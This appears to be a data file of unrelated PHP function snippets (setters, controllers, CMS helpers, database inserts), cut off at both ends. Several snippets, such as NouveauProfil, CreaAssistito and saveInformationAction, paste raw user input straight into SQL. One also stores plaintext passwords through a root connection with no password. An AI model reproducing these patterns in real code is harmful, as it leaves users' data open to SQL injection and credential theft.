`svg_info` set \";\n\t\t\t$i = 0;\n\t\t\tforeach($this->UPDATE as $u){\n\t\t\t\tif ($i>0) $sql = $sql.\" , \";\n\t\t\t\t$sql = $sql.$u;\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$sql = $sql.\" WHERE `id`='\".addslashes($this->id).\"'\";\n\t\t}else{\n\t\t\t$sql = \"INSERT into `svg_info` values('\".addslashes($this->id).\"' , '\".addslashes($this->bf).\"' , '\".addslashes($this->type).\"' , '\".addslashes($this->lid).\"' , '\".addslashes($this->index).\"' , '\".addslashes($this->transform).\"' , '\".addslashes($this->value).\"' , '\".addslashes($this->fontsize).\"' , '\".addslashes($this->color).\"' , '\".addslashes($this->fill).\"' , '\".addslashes($this->stroke).\"' , '\".addslashes($this->points).\"' , '\".addslashes($this->txt).\"')\";\n\t\t}\n\t\t$this->connection->send_query($sql);\n\t}", "public function updateBio($input) {\n\t\t// and should be implemented by you\n\n\n\t\t// Prepare SQL Values\n\t\t$sql_values = [\n\t\t\t'user_id' => $_SESSION['user_id'],\n\t\t\t'bio' => $input['bio-text']\n\t\t];\n\n\t\t// Ensure values are encompased with quote marks\n\t\t$sql_values = db::array_in_quotes($sql_values);\n\n\t\t// Insert\n\t\t$results = db::insert_duplicate_key_update('user', $sql_values, 'WHERE user_id =\\'{$this->user_id}\\'');\n\t\t\n\t\t// Return a new instance of this user as an object\n\t\treturn new User($this->user_id);\n\n\t}", "public function edit(Biologica $biologica)\n {\n //\n }", "function CHistorialCambiosBeneficiario($idHistorialCambio, $beneficiario1, $beneficiario2, $tipoCambioBeneficiario, $fecha, $soporte, $observaciones) {\r\n $this->idHistorialCambio = $idHistorialCambio;\r\n $this->beneficiario1 = $beneficiario1;\r\n $this->beneficiario2 = $beneficiario2;\r\n $this->tipoCambioBeneficiario = $tipoCambioBeneficiario;\r\n $this->fecha = $fecha;\r\n $this->soporte = $soporte;\r\n $this->observaciones = $observaciones;\r\n }", "function getBio() {\n return $this->bio;\n }", "public function setBio($bio)\n {\n $this->bio = $bio;\n\n return $this;\n }", "public function setBio($bio)\n {\n $this->bio = $bio;\n\n return $this;\n }", "public function addMetaboxes() {}", "function cl_bensetiquetaimpressa() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"bensetiquetaimpressa\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "function agregar_adjunto($nombre, $path_archivo, $encoding = 'base64', $tipo = '')\n\t{\n\t\t$this->adjuntos[] = array(\n\t\t\t'nombre' => $nombre,\n\t\t\t'archivo' => file_get_contents($path_archivo),\n\t\t\t'encoding' => $encoding,\n\t\t\t'tipo' => $tipo\n\t\t);\n\t}", "function inscription_jesa_link_add_child($form, &$form_state) {\n // Everything in $form_state is persistent, so we'll just use\n // $form_state['add_stagiaire']\n $form_state['num_stagiaires']++;\n\n // Setting $form_state['rebuild'] = TRUE causes the form to be rebuilt again.\n $form_state['rebuild'] = TRUE;\n}", "public function aparecer() {\n // Referencia al objeto dentro de la clase\n echo '<img src=\"' . $this -> foto . '\">';\n\n }", "public function getBio()\n {\n return $this->bio;\n }", "function altaGrupo($nombre,$descripcion)\n\t\t{\t\n\t\t\t$mysqli=$this->conexionBD();\n\t\t\t$query=\"INSERT INTO `grupo`(`NOMBRE_GRUPO`, `DESCRIPCION`) VALUES ('$nombre','$descripcion')\";\n\t\t\t$mysqli->query($query);\n\t\t\t$mysqli->close();\n\t\t\t\t\n\t\t}", "public function __construct(felicitacionesRegistro $profile)\n {\n //\n $this->profile = $profile;\n }", "function register_block_core_post_author_biography()\n {\n }", "function NouveauProfil($prenom,$nom,$pseudonyme,$mdp,$date,$sexe,$orientation){\r\n\t\t$conn = mysqli_connect(\"localhost\", \"root\", \"\", \"bddfinale\");\r\n\t\t$requete = \"INSERT INTO allinformations VALUES ('$pseudonyme','$mdp','$nom','$prenom', '$date', '', '01', '$sexe', '$orientation', '1', '1', '0', '0', '0', '0', '', '', '', '', '', 'logo.jpg','logo2.png','logo3.jpg','0','1','0', NULL)\";\r\n\t\t//Les champs obligatoires sont remplis par défaut mais l'utilisateur peut directement les modifier dans ModifierMonProfil\r\n\t\t$ligne= mysqli_query($conn, $requete);\r\n\t\tmysqli_close($conn);\r\n\t\t}", "function createMetaData()\n\t{\n\t\tparent::createMetaData();\n\t\t$this->saveAuthorToMetadata();\n\t}", "public function setBio($bio)\n {\n $this->bio = htmlspecialchars($bio);\n\n return $this;\n }", "public function agregar($sensor)\n {\n }", "public function getBio()\n {\n return $this->bio;\n }", "public function getBio()\n {\n return $this->bio;\n }", "function add_node($page){\n\t\t$this->nodes['l'.$page->id]=new socialwiki_node($page);\n\t}", "public function add($info, $meta)\r\n {\r\n\r\n }", "public function __construct() {\n $this -> fichier = new Fichier(\"../contributeurs\", false);\n }", "public function addIndividual()\n {\n }", "function addData($data){\n\t\t\t//encode array\n\t\t\twhile(list($key,$val) = each($data)){\n\t\t\t\t$data[$key] = utf8_encode($val);\n\t\t\t}\n\t\t\t\n\t\t\t$this->root->new_child('title',$data['prog_title']);\n\t\t\t$this->root->new_child('alternative',$data['prog_alt_title']);\n\t\t\t\n\t\t\t//series data\n\t\t\t$series = $this->root->new_child('series',null);\n\t\t\t$series->new_child('id',$data['series_id']);\n\t\t\t$series->new_child('title',$data['series_title']);\n\t\t\t$series->new_child('description',$data['series_desc']);\n\t\t\t\n\t\t\t$this->root->new_child('stationid',SOTF_STATION_ID);\n\t\t\t$this->root->new_child('language',$data['prog_lang']);\n\t\t\t$this->root->new_child('rights',$data['prog_rights']);\n\t\t\t$this->root->new_child('genre',$data['prog_genre']);\n\t\t\t$this->root->new_child('topic',$data['prog_topic']);\n\t\t\t\n\t\t\t$this->root->new_child('description',$data['prog_desc']);\n\t\t\t$this->root->new_child('contributor',$data['prog_contrib']);\n\t\t\t$this->root->new_child('identifier',$data['prog_id']);\n\t\t\t\n\t\t\t$creator = $this->root->new_child('creator',null);\n\t\t\t$entity = $creator->new_child('entity',null);\t\n\t\t\t$entity->set_attribute('type','organisation');\n\t\t\t$entity_name = $entity->new_child('name',SOTF_PUB);\n\t\t\t$entity_name->set_attribute('type','organizationname');\n\t\t\t$entity_acronym = $entity->new_child('name',SOTF_PUB_ACR);\n\t\t\t$entity_acronym->set_attribute('type','organizationacronym');\n\t\t\t$entity->new_child('e-mail',SOTF_PUB_MAIL);\n\t\t\t$entity->new_child('address',SOTF_PUB_ADR);\n\t\t\t$entity->new_child('logo',SOTF_PUB_LOGO);\n\t\t\t$entity->new_child('uri',SOTF_PUB_URI);\n\t\t\t\n\t\t\t$publisher = $this->root->new_child('publisher',null);\n\t\t\t$entity = $publisher->new_child('entity',null);\t\n\t\t\t$entity->set_attribute('type','organisation');\n\t\t\t$entity_name = $entity->new_child('name',SOTF_PUB);\n\t\t\t$entity_name->set_attribute('type','organizationname');\n\t\t\t$entity_acronym = $entity->new_child('name',SOTF_PUB_ACR);\n\t\t\t$entity_acronym->set_attribute('type','organizationacronym');\n\t\t\t$entity->new_child('e-mail',SOTF_PUB_MAIL);\n\t\t\t$entity->new_child('address',SOTF_PUB_ADR);\n\t\t\t$entity->new_child('logo',SOTF_PUB_LOGO);\n\t\t\t$entity->new_child('uri',SOTF_PUB_URI);\n\t\t\t\n\t\t\t$date = $this->root->new_child('date',$data['prog_datecreated']);\n\t\t\t$date->set_attribute('type','created');\n\t\t\t\n\t\t\t$date = $this->root->new_child('date',$data['prog_dateissued']);\n\t\t\t$date->set_attribute('type','issued');\n\t\t\t\n\t\t\t$date = $this->root->new_child('date',$data['prog_dateavailable']);\n\t\t\t$date->set_attribute('type','available');\n\t\t\t\n\t\t\t$date = $this->root->new_child('date',$data['prog_datemodified']);\n\t\t\t$date->set_attribute('type','modified');\n\t\t\t\n\t\t\t$owner = $this->root->new_child('owner',null);\n\t\t\t$owner->new_child('auth_id',$data['owner_user_authid']);\n\t\t\t$owner->new_child('login',$data['owner_user_login']);\n\t\t\t$owner->new_child('name',$data['owner_user_name']);\n\t\t\t$owner->new_child('role',$data['owner_user_role']);\n\t\t\t\n\t\t\t$publisher = $this->root->new_child('publishedby',null);\n\t\t\t$publisher->new_child('auth_id',$data['owner_user_authid']);\n\t\t\t$publisher->new_child('login',$data['owner_user_login']);\n\t\t\t$publisher->new_child('name',$data['owner_user_name']);\n\t\t\t$publisher->new_child('role',$data['owner_user_role']);\n\t\t}", "abstract public function information();", "function add()\n\t{\n\t\t$this->_updatedata();\n\t}", "private function compilar_metadatos_generales_basicos()\n\t{\n\t\t//-- Datos basicos --\n\t\t$this->manejador_interface->mensaje('Info basica', false);\n\t\t$nombre_clase = 'toba_mc_gene__basicos';\n\t\t$archivo = $this->get_dir_generales_compilados() . '/' . $nombre_clase . '.php';\n\t\t$clase = new toba_clase_datos( $nombre_clase );\n\t\t$datos = toba_proyecto_db::cargar_info_basica( $this->get_id() );\n\t\t$clase->agregar_metodo_datos('info_basica', $datos);\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Fuentes --\n\t\tforeach( $this->get_indice_fuentes() as $fuente ) {\n\t\t\t$datos = toba_proyecto_db::get_info_fuente_datos( $this->get_id(), $fuente );\n\t\t\t//-- Se busca la relacion entre nombre_tabla y dt\n\t\t\t$mapeo = toba_proyecto_db::get_mapeo_tabla_dt($this->get_id(), $fuente);\n\t\t\t$datos['mapeo_tablas_dt'] = $mapeo;\n\t\t\t$clase->agregar_metodo_datos('info_fuente__'.$fuente, $datos );\n\t\t}\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Permisos --\n\t\tforeach( $this->get_indice_permisos() as $permiso ) {\n\t\t\t$datos = toba_proyecto_db::get_descripcion_permiso( $this->get_id(), $permiso );\n\t\t\t$clase->agregar_metodo_datos('info_permiso__'.$permiso, $datos );\n\t\t}\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Indice de componentes --\n\t\t$datos = toba_proyecto_db::get_mapeo_componentes_indice( $this->get_id() );\n\t\t$clase->agregar_metodo_datos('info_indices_componentes', $datos );\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//Creo el archivo\n\t\t$clase->guardar( $archivo );\n\t\t$this->manejador_interface->progreso_fin();\n\t}", "function addAttribute(){\n\n\t//Database connection\n\tglobal $mysqli;\n\t\n\t//Hrefs\n\tglobal $cms_library;\n\tglobal $cms_addAttribute;\n\tglobal $cms_continent;\n\n\t//Selected continent and attribute\n\t$continent_id=$_GET[\"continent_id\"];\n\t$continent_name=$_GET[\"continent_name\"];\n\n\t//Form handlers\n\t$attribute_name=$_POST[\"attribute_name\"];\n\t$image_path=\"\".$continent_name.\"/\".$attribute_name.\"/\".basename($_FILES[\"image\"][\"name\"]).\"\";\n\t$description=$_POST[\"description\"];\n\t$ux=$_POST[\"ux\"];\n\t$submit=$_POST[\"submit\"];\n\n\t//Regarding assignment of attribute_id\n\tif($attribute_name==\"character_biographies\"){\n\n\t\t$attribute_id=1;\n\n\t}elseif($attribute_name==\"history\"){\n\n\t\t$attribute_id=2;\n\n\t}elseif($attribute_name==\"stories\"){\n\n\t\t$attribute_id=3;\n\n\t}\n\n\t//Submit button trigger\n\tif(isset($submit)){\n\n\t\t//To create a folder and move the uploaded files into it\n\t\tmkdir(\"../\".$continent_name.\"/\".$attribute_name.\"\");\n\t\tmove_uploaded_file($_FILES[\"image\"][\"tmp_name\"], \"../\".$image_path.\"\");\n\t\t$description_path=\"\".$continent_name.\"/\".$attribute_name.\"/description.txt\";\n\t\tfile_put_contents(\"../\".$description_path.\"\", $description);\n\n\t\t//Corresponding database entry\n\t\t$sql_addAttribute=\"INSERT INTO attributes(continent_id, continent_name, \";\n\t\t$sql_addAttribute.=\"attribute_id, attribute_name, image_path, description_path, ux) \";\n\t\t$sql_addAttribute.=\"VALUES(\".d($mysqli, $continent_id).\", '\".d($mysqli, $continent_name).\"', \";\n\t\t$sql_addAttribute.=\"\".d($mysqli, $attribute_id).\", '\".d($mysqli, $attribute_name).\"','\".d($mysqli, $image_path).\"', \";\n\t\t$sql_addAttribute.=\"'\".d($mysqli, $description_path).\"', '\".$ux.\"');\";\n\t\t$res_addAttribute=mysqli_query($mysqli, $sql_addAttribute);\n\n\t}\n\n\tif($res_addAttribute){\n\t\tpage_redirect(\"\".$cms_continent.\"?continent_id=\".$continent_id.\"\");\n\t}else{\n\t\tpage_redirect($cms_addAttribute);\n\n\t}\n\n\t$res_addAttribute->close(); \n\t$mysqli->close();\n\n}", "function CreaAssistito($nome, $cognome, $telefono, $codiceFisc, $indirizzo, $comune, $email, $descrzione, $categoria){\n\t\t$query = \"INSERT INTO assistiti (Nome, Cognome, Telefono, CodiceFiscale, Indirizzo, Comune, Email, Descrizione, Categoria) VALUES('$nome', '$cognome', '$telefono', '$codiceFisc', '$indirizzo', '$comune', '$email' , '$descrizione', $categoria)\";\n\t\tif(!$mysqli -> query($query)){\n\t\t\tdie($mysqli->error);\n\t\t}\n\t}", "public function actionCreate($idEstudiante)\n {\n\t\t$idInstitucion = $_SESSION['instituciones'][0];\n\t\t$idSedes = $_SESSION['sede'][0];\n\t\t\t\t\n\t\t\n\t\t/**\n\t\t* Llenar nombre del estudiante\n\t\t*/\n\t\t//variable con la conexion a la base de datos \n\t\t$connection = Yii::$app->getDb();\n\t\t$command = $connection->createCommand(\"\n\t\t\tSELECT es.id_perfiles_x_personas as id, concat(pe.nombres,' ',pe.apellidos) as nombres\n\t\t\t FROM estudiantes as es, perfiles_x_personas as pp, personas as pe, \n\t\t\t perfiles_x_personas_institucion ppi\n\t\t\t WHERE es.id_perfiles_x_personas = pp.id\n\t\t\t AND pp.id_personas = pe.id\n\t\t\t AND pp.id_perfiles = 11\n\t\t\t AND ppi.id_perfiles_x_persona = pp.id\n\t\t\t AND ppi.id_institucion = $idInstitucion\n\t\t\t AND pp.id = $idEstudiante\n\t\t\");\n\t\t$result = $command->queryAll();\n\t\t$estudiantes = array();\n\t\tforeach ($result as $r)\n\t\t{\n\t\t\t$estudiantes[$r['id']]= $r['nombres'];\n\t\t}\n\t\t\n\t\t$AAcademico = new TiposApoyoAcademico();\n\t\t$AAcademico = $AAcademico->find()->all();\n\t\t$AAcademico = ArrayHelper::map($AAcademico,'id','descripcion');\n\t\t\n\t\t\n $model = new ApoyoAcademico();\n\t\t\n\t\t\n\t\t$datoPost = Yii::$app->request->post();\n if ($datoPost)\n\t\t{\n\t\t\t\n\t\t\t//el nivel y jornada del estudiante\n\t\t\t$command = $connection->createCommand(\"\n\t\t\tSELECT n.descripcion as paralelo, j.descripcion as jornada\n\t\t\tFROM estudiantes as e, paralelos as pa, sedes_jornadas as sj, jornadas as j, sedes_niveles as sn, niveles as n\n\t\t\twhere e.id_paralelos = pa.id\n\t\t\tand e.id_perfiles_x_personas = $idEstudiante\n\t\t\tand pa.id_sedes_jornadas = sj.id\n\t\t\tand sj.id_jornadas = j.id\n\t\t\tand pa.id_sedes_niveles = sn.id\n\t\t\tand sn.id_niveles = n.id\n\t\t\t\n\t\t\t\");\n\t\t\t$nivelJornada = $command->queryAll();\n\t\t\t\n\t\t\t\n\t\t\t//saber que tipo de apoyo academicos \n\t\t\t$idTipoApoyo = $datoPost['ApoyoAcademico']['id_tipo_apoyo'];\n\t\t\t\n\t\t\t//consecutivo de la consulta psicologica o enfermeria\n\t\t\t$command = $connection->createCommand(\"\n\t\t\tselect consecutivo from apoyo_academico\n\t\t\twhere id = (SELECT max(id)\tFROM apoyo_academico where id_tipo_apoyo = $idTipoApoyo)\n\t\t\t\");\n\t\t\t$consecutivo = $command->queryAll();\n\t\t\t\n\t\t\t$consecutivo = @$consecutivo[0]['consecutivo'];\n\t\t\t$consecutivo = substr($consecutivo,4);\n\t\t\t$consecutivo = str_pad($consecutivo+1,4,\"0\",STR_PAD_LEFT);\n\t\t\t\n\t\t\t//consecutivo a insertar\n\t\t\tif ($idTipoApoyo == 4 )\n\t\t\t\t$consecutivo = \"HCP-\".$consecutivo;\n\t\t\t\n\t\t\tif ($idTipoApoyo == 5 )\n\t\t\t\t$consecutivo = \"HCE-\".$consecutivo;\n\t\t\t\n\t\t\t\n\t\t\t// echo \"<pre>\"; print_r($datoPost); echo \"</pre>\";\t\n\t\t\t// die;\n\t\t\t$model->load($datoPost);\n\t\t\t$model->save();\n\t\t\t\n\t\t\t//se guarda la hora en que termina la cita\n\t\t\tdate_default_timezone_set('America/Bogota');\n\t\t\t$hora = date('H:i:s');\n\t\t\t$horaSalida = date('h:i A', strtotime($hora));\n\t\t\t\n\t\t\t$model->hora_salida =$horaSalida;\n\t\t\t$model->save(false);\n\t\t\t\n\t\t\t\n\t\t\t$model->consecutivo = $consecutivo;\n\t\t\t$model->paralelo = $nivelJornada[0]['paralelo'];\n\t\t\t$model->jornada = $nivelJornada[0]['jornada'];\n\t\t\t$model->save();\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' \t\t=> $model,\n\t\t\t'estudiantes'\t=> $estudiantes,\n\t\t\t'idSedes' \t\t=> $idSedes,\n\t\t\t'idInstitucion' => $idInstitucion,\n\t\t\t'AAcademico' \t=> $AAcademico,\n\t\t\t'idEstudiante'\t=>$idEstudiante,\n ]);\n }", "public function ogs()\r\n {\r\n }", "function amap_ma_set_entity_additional_info($entity, $etitle, $edescription, $elocation = null, $eotherinfo = null, $m_icon_light = false, $eurl = false, $map_icon = false) {\n $edescription = elgg_get_excerpt($edescription);\n $namecleared = amap_ma_remove_shits($entity->$etitle);\n $description = amap_ma_remove_shits(elgg_get_excerpt($entity->description, 100));\n if (!$map_icon) {\n $map_icon = amap_ma_get_entity_icon($entity);\n }\n\n if ($elocation) {\n $location = $elocation;\n } else {\n $location = $entity->location;\n }\n\n if (elgg_instanceof($entity, 'object', 'agora')) {\n $entity_icon = elgg_view_entity_icon($entity, 'tiny', ['img_class' => 'elgg-photo']);\n }\n else if (elgg_instanceof($entity, 'object', 'lcourt')) {\n elgg_load_library('elgg:leaguemanager');\n $entity_photo = elgg_view('output/img', array(\n 'src' => lm_getEntityIconUrl($entity->getGUID(), 'tiny'),\n 'alt' => $entity->title,\n 'class' => 'elgg-photo',\n ));\n $entity_icon = elgg_view('output/url', array(\n 'href' => ($eurl?$eurl:$entity->getURL()),\n 'text' => $entity_photo,\n ));\n } \n else if ($entity instanceof ElggUser || $entity instanceof ElggGroup) {\n $icon = elgg_view('output/img', array(\n 'src' => $entity->getIconURL('tiny'),\n 'class' => \"elgg-photo\",\n ));\n $entity_icon = elgg_view('output/url', array(\n 'href' => $entity->getURL(),\n 'text' => $icon,\n ));\n } else {\n $entity_icon = elgg_view_entity_icon($entity, 'tiny', array(\n 'href' => $entity->getURL(),\n 'width' => '',\n 'height' => '',\n 'style' => 'float: left;',\n ));\n }\n $entity->setVolatileData('m_title', $namecleared);\n $entity->setVolatileData('m_description', $description);\n $entity->setVolatileData('m_location', $location);\n $entity->setVolatileData('m_icon', $entity_icon);\n $entity->setVolatileData('m_map_icon', $map_icon);\n if ($eotherinfo) {\n $entity->setVolatileData('m_other_info', $eotherinfo);\n }\n $entity->setVolatileData('m_icon_light', $m_icon_light);\n \n /* hide at the moment as the distance displayed is not well calculated\n if ($user->getLatitude() && $user->getLongitude()) {\n $distance = get_distance($entity->getLatitude(), $entity->getLongitude(), $user->getLatitude(), $user->getLongitude()); // distance in metres\n $distance = round($distance / 1000, 2); // distance in km\n $distance_str = elgg_echo('amap_maps_api:search:proximity', array($user->location, $distance));\n $entity->setVolatileData('distance_from_user', $distance_str);\n } */\n\n return $entity;\n}", "public function ajouter()\n {\n $ajout_return = $this->loadModel('SallesManagerModel')->add_item('salles');\n $this->quit( '/gestionsalles', 'events.gestionsalles.msg', $ajout_return );\n }", "function addInformacije($data){\n\t\tglobal $db; global $_M;\n\t\t$data = mysql_real_escape_string($data);\n\n\t\t$db->e(\"UPDATE nalog SET nalog_informacije='\".$data.\"' WHERE nid='\".$_M->nid.\"';\");\n\t}", "public function setInfoAdhesion(string $title = null, string $content = null, string $image = null) {\n $this->setInfo(\"adhesion\", $title, $content, $image);\n }", "public function add(string $content) {\n\t\t$image = $this->getImage();\n\t\t$image->setPage($content);\n\t\t$this->setImage($image);\n\t}", "function setInfo() {\n //Sanatize using Regex\n $santizied=$this->sanitize($this->rawTitle);\n \n \n //IMDB API Options\n $plot='full'; //Plot format Full or Simple\n $limit=1; //Number of results\n \n $reply=file_get_contents('http://imdbapi.org/?title='.$santizied.'&type=json&plot='.$plot.'&episode=0&limit='.$limit.'&yg=0&mt=M&lang=en-US&offset=&aka=simple&release=simple');\n $obj = json_decode($reply,true);\n\t\t\n\n \n if (@is_null($obj[0]['title'])) { \n $this->download=false;\n }\n else { \n $this->title=$obj[0]['title'];\n $this->time=$obj[0]['runtime'][0];\n $this->genres=$obj[0]['genres'];\n $this->rating=$obj[0]['rating'];\n $this->plot=$obj[0]['plot_simple'];\n $this->director=$obj[0]['directors'][0];\n $this->casts=$obj[0]['actors'];\n $this->year=$obj[0]['year'];\n\t\t\t $this->imdbid=$obj[0]['imdb_id'];\n //TODO: Uncomment this\n //$this->poster=$obj[0]['poster'];\n\t\t\t $this->poster=$this->thePoster($obj[0]['poster']);\n //$this->poster='http://localhost:8080/wordpress/wp-content/uploads/2013/01/d.jpg';\n \n $this->download=TRUE;\n\n } \n \n\n }", "function d3jspie_generateur_autoriser(){}", "protected function add() {\n\t}", "function wck_add_meta(){\n\t\tparent::wck_add_meta();\n\t}", "public function insert($maeMedico);", "public function saveInformationAction() {\r\n $photo_id = $this->_getParam('photo_id');\r\n $title = $this->_getParam('title', null);\r\n $description = $this->_getParam('description', null);\r\n $location = $this->_getParam('location', null);\r\n if (($this->_getParam('lat')) && ($this->_getParam('lng')) && $this->_getParam('lat', '') != '' && $this->_getParam('lng', '') != '') {\r\n $dbGetInsert = Engine_Db_Table::getDefaultAdapter();\r\n $dbGetInsert->query('INSERT INTO engine4_sesbasic_locations (resource_id, lat, lng , resource_type) VALUES (\"' . $photo_id . '\", \"' . $this->_getParam('lat') . '\",\"' . $this->_getParam('lng') . '\",\"sesvideo_chanelphoto\")\tON DUPLICATE KEY UPDATE\tlat = \"' . $this->_getParam('lat') . '\" , lng = \"' . $this->_getParam('lng') . '\"');\r\n }\r\n Engine_Api::_()->getDbTable('chanelphotos', 'sesvideo')->update(array('title' => $title, 'description' => $description, 'location' => $location), array('chanelphoto_id = ?' => $photo_id));\r\n }", "public function diagram_new($id = NULL, $action = NULL) {\n $parent_id = 0; // current add parent id\n\n /*\n check the action type\n */\n \n /*\n if add a child, $id is a parent id\n */\n if ($action == 'add_a_child') {\n $parent_id = $id;\n $id = NULL;\n /*\n if add done, $id is previous diagram id, set the previous diagram parent id for current add id\n */\n } else if ($action == 'add_done') {\n $parent_id = ORM::factory('diagram')->where('id', $id)->find()->parent_id;\n $id = NULL;\n }\n\n $diagram = new Diagram_Model($id);\n $customfields = $diagram->customfields;\n\n // add new or save edit\n if ($post = $this->input->post()) {\n\n $type = $this->input->post('type');\n $parent_id = $this->input->post('parent_id');\n $uri = $this->input->post('uri');\n $uri = $uri == '/' ? '/' : trim($uri, '/');\n\n $diagram->type = $type;\n $diagram->uri = $uri;\n $diagram->parent_id = $parent_id;\n $diagram->title = trim($this->input->post('title'));\n $diagram->template = $this->input->post('template');\n $diagram->content = $this->input->post('content');\n\n $metavalue = array();\n $metavalue['post_template'] = $this->input->post('post_template');\n\n if (!empty($metavalue)) {\n $diagram->metavalue = serialize($metavalue);\n } else {\n $diagram->metavalue = '';\n }\n\n $set_order = false;\n if (empty($diagram->id)) {\n $set_order = true;\n $diagram->date = time();\n $diagram->user_id = $this->user->id;\n }\n\n $customfields_post = $this->input->post('customfields');\n // get a object list for customfields edit\n $customfields = self::_customfiled_to_object($customfields_post);\n\n if (!$diagram->is_unique_uri($uri, $type)) {\n Tip::set('Diagram uri is not unique.');\n } else if (!valid::uri($uri)) {\n Tip::set('Invalid diagram uri.');\n } else {\n $diagram->save();\n if ($set_order) {\n $diagram->order = $diagram->id; // set the diagram display order\n }\n\n self::_save_customfields($diagram->id, $customfields_post); // save customfiels\n\n // save diagram\n $diagram->save();\n\n // update the diagrams cache\n Diagram::cache_diagrams();\n\n if ($action == 'edit') {\n $tip = 'Edit done.';\n $redirect = 'diagram_manage';\n } else {\n // redirect to the tip add done\n $tip = 'Add done.';\n $redirect = \"diagram_manage/diagram_new/$diagram->id/add_done/\";\n }\n\n Tip::set(T::_($tip) . ' ' . html::admin_anchor(\"/diagram_manage/diagram_new/$diagram->id/edit?redirect_uri=diagram_manage/diagram_new\", T::_('View or edit')));\n\n $redirect_uri = $this->input->get('redirect_uri');\n if (!empty($redirect_uri)) {\n $redirect = $redirect_uri;\n }\n url::admin_redirect($redirect);\n }\n }\n\n $view = new View('layouts/admin');\n // type checked status\n $view->type_page = '';\n $view->type_list = '';\n $view->type_item = '';\n $view->type_url = '';\n\n // page content;\n $view->id = $diagram->id;\n $view->{\"type_$diagram->type\"} = TRUE;\n $view->title = $diagram->title;\n $view->content = $diagram->content;\n $view->uri = $diagram->uri;\n $view->template = $diagram->template;\n $view->post_template = $diagram->post_template;\n\n // set the diagram type check status\n if ($action == 'edit') {\n $view->buttom = 'Edit';\n $view->page_title = 'Diagram Edit';\n $parent_id = $diagram->parent_id;\n } else {\n $view->buttom = 'Add new';\n $view->page_title = 'Diagram New';\n }\n\n $view->customfields = !empty($customfields) ? $customfields : array();\n\n $view->select_options = Diagram::get_diagram_select(array('uses'=>'diagram', 'selected'=>$parent_id, 'current_diagram_id'=>$diagram->id));\n $theme = Kohana::config('core.theme');\n $view->templates = Template::all_as_array($theme, array('page', 'list'));\n $view->post_templates = Template::all_as_array($theme, 'post');\n $view->field_types = CustomField::types();\n $view->render(TRUE);\n }", "function addChild( $ni )\n\t\t{\n\t\t$this->childs[] = $ni ;\n\t\t}", "public function create($idArticulo,$idTag){\n\n $articulo = Article::find($idArticulo);\n $tag = Tag::find($idTag);\n $articulo->tags()->attach($tag);\n }", "public function ajoutProduitEncore()\n {\n Produit::create(\n [\n 'uuid' => Str::uuid(),\n 'designation' => 'Mangue',\n 'description' => 'Mangue bien grosse et sucrée! Yaa Proprè !',\n 'prix' => 1500,\n 'like' => 63,\n 'pays_source' => 'Togo',\n 'poids' => 89.5,\n ]\n );\n }", "function meta($name, $content=\"\") {\n\t\t$this->metas[] = array('name' => $name, 'content' => $content);\n\t}", "public function add(&$simbio, $str_args) {\n if (!User::isUserLogin()) {\n // return false;\n }\n // master file type\n $this->dbTable = $str_args;\n // auto generate fields from database\n $this->autoGenerateFields($simbio);\n // create form\n $_form = new FormOutput('master-file', 'index.php?p=master/save/'.$this->dbTable, 'post');\n $_form->submitName = 'add';\n $_form->submitValue = __('Simpan');\n $_form->submitAjax = true;\n $_form->formInfo = __('Lengkapi semua ruas mandatori');\n // auto generate form\n $_elms = $this->autoGenerateForm($simbio, $_form);\n // add form and set form field value\n foreach ($_elms as $_elm) {\n if (in_array($_elm['id'], array('id_unit'))) {\n $_elm['label'] = 'Unit Kerja';\n $_elm['type'] = 'dropdown';\n $_elm['options'] = self::getMasterData($simbio, 'unit_kerja');\n }\n $_form->add($_elm);\n }\n\n $simbio->loadView($_form, 'MASTER_FILE_FORM');\n }", "function addPOSEntry()\n{\n\n}", "public function save_instagram_info($data)\n {\n }", "public function insert(){\n $bd = Database::getInstance();\n $bd->query(\"INSERT INTO canciones(artista, ncancion, idGen, album) VALUES (:art, :nca, :gen, :alb);\",\n [\":art\"=>$this->artista,\n \":gen\"=>$this->idGen,\n \":alb\"=>$this->album,\n \":nca\"=>$this->ncancion]);\n }", "public function store(IdeaFormRequest $request)\n { \n \n $idea = Idea::create([\n 'topic' => $request->topic,\n 'subtitle' => $request->subtitle,\n 'content' => $request->content,\n 'categorie_id' => $request->categorie,\n 'user_id' => auth()->user()->id,\n \n ]);\n\n if($request->cover)\n {\n\n $path = $request->file('cover')->store('uploads','public');\n\n $image = Image::create([\n 'path' => $path,\n 'user_id' => auth()->user()->id, \n ]);\n \n $image->attributeToIdea($idea);\n\n \n $idea->update([\n 'image_id' => $image->id\n ]);\n }\n \n \n\n $idea->categorise($request->categorie);\n notify()->success(\"Bravo ! Idée soumise à l'approbation de la communauté ...\");\n return redirect()->route('idea.show',compact('idea'));\n\n }", "public function add() {\n if ($this->id == 0) {\n $reponse = $this->bdd->prepare('INSERT INTO chapitres SET title = :title, body = :body');\n $reponse->execute([\n 'body'=>$this->body, \n 'title'=>$this->title\n ]);\n }\n }", "function geneshop_phylo() {\n/*\n * For testing function, required more than one sequence.\n * $mRNA_id = array(3,20,37,53,68);\n * $data = '';\n * foreach ($mRNA_id as $feature_id) {\n */\n module_load_include('inc', 'tripal_feature', 'tripal_feature.api');\n module_load_include('inc', 'clustalo', 'clustalo.restclient');\n $sql = '\n SELECT FRM.subject_id as feature_id\n FROM {gene} G\n INNER JOIN {feature_relationship} FRM ON FRM.object_id = G.gene_id\n INNER JOIN {chado_feature} CHF ON CHF.feature_id = gene_id\n WHERE chf.nid = :nid\n ';\n $data = '';\n foreach ($_SESSION['basket']['items'] as $nid => $value) {\n $args = array(':nid' => $nid);\n $result = db_query($sql, $args)->fetchObject();\n $feature_id = $result->feature_id;\n $sequence = array();\n $sequence = tripal_get_feature_sequences(\n array(\n 'feature_id' => $feature_id,\n ),\n array(\n 'relationship_type' => 'derives_from',\n 'relationship_part' => 'object',\n 'is_html' => 0\n )\n );\n if (count($sequence)>0) {\n $data .= \">\".$sequence[0][defline].\"\\n\";\n if ($sequence[0]['residues']) { //if there are sequences in residues\n $sequence[0]['residues'] = strtoupper($sequence[0]['residues']);\n $data 